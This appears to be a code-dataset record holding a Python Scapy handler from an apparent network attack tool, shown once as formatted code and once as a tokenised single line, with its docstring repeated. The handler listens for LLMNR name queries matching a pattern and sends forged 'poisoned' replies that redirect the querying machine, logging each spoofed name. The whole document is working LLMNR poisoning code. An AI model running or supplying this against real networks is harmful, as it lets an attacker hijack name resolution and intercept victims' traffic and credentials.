(self, pkt)
Handle and parse requests
Handle and parse requests
Handle and parse requests
def handler(self, pkt):
        """ Handle and parse requests """
        if pkt.haslayer(LLMNRQuery):
            request = pkt[LLMNRQuery][DNSQR].qname
            ret = self.config['regex_match'].value.search(request.lower())
            if ret is None:
                return

            if not ret.group(0) is None and pkt[Ether].dst != self.local[0]:
                # craft our poisoned response
                r_id = pkt[LLMNRQuery].id
                response = Ether(dst=pkt[Ether].src, src=self.local[1])
                if IP in pkt:
                    response /= IP(dst=pkt[IP].src)
                    response /= UDP(sport=5355, dport=pkt[UDP].sport)
                elif IPv6 in pkt:
                    response /= IPv6(dst=pkt[IPv6].src)
                    response /= UDP(sport=5355, dport=pkt[UDP].sport)
                response /= LLMNRQuery(id=pkt[LLMNRQuery].id,
                            qd=pkt[LLMNRQuery].qd, qr=1, qdcount=1, ancount=1,
                            arcount=1, nscount=1, rcode=0,
                            ns=self.gen_dnsrr(pkt), ar=self.gen_dnsrr(pkt),
                            an=self.gen_dnsrr(pkt))
                sendp(response)
                self.log_msg('Spoofing \'%s\' from %s'
                                % (request.strip(), pkt[Ether].src))
def handler ( self , pkt ) : if pkt . haslayer ( LLMNRQuery ) : request = pkt [ LLMNRQuery ] [ DNSQR ] . qname ret = self . config [ 'regex_match' ] . value . search ( request . lower ( ) ) if ret is None : return if not ret . group ( 0 ) is None and pkt [ Ether ] . dst != self . local [ 0 ] : # craft our poisoned response r_id = pkt [ LLMNRQuery ] . id response = Ether ( dst = pkt [ Ether ] . src , src = self . local [ 1 ] ) if IP in pkt : response /= IP ( dst = pkt [ IP ] . src ) response /= UDP ( sport = 5355 , dport = pkt [ UDP ] . sport ) elif IPv6 in pkt : response /= IPv6 ( dst = pkt [ IPv6 ] . src ) response /= UDP ( sport = 5355 , dport = pkt [ UDP ] . sport ) response /= LLMNRQuery ( id = pkt [ LLMNRQuery ] . id , qd = pkt [ LLMNRQuery ] . qd , qr = 1 , qdcount = 1 , ancount = 1 , arcount = 1 , nscount = 1 , rcode = 0 , ns = self . gen_dnsrr ( pkt ) , ar = self . gen_dnsrr ( pkt ) , an = self . gen_dnsrr ( pkt ) ) sendp ( response ) self . log_msg ( 'Spoofing \'%s\' from %s' % ( request . strip ( ) , pkt [ Ether ] . src ) )